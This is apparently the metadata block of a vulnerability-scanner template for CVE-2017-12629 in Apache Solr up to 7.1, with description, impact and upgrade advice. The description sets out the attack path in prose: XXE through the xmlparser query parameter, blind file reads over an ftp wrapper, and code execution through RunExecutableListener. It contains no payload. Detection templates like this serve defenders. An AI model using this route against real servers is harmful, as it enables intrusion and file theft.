id: CVE-2017-12629

info:
  name: Apache Solr <= 7.1 - XML Entity Injection
  author: dwisiswant0
  severity: critical
  description: Apache Solr with Apache Lucene before 7.1 is susceptible to remote code execution by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr.
  impact: |
    Successful exploitation of this vulnerability could lead to information disclosure, denial of service.
  remediation: |
    Upgrade to a patched version of Apache Solr (7.2 or higher) or apply the recommended security patches.
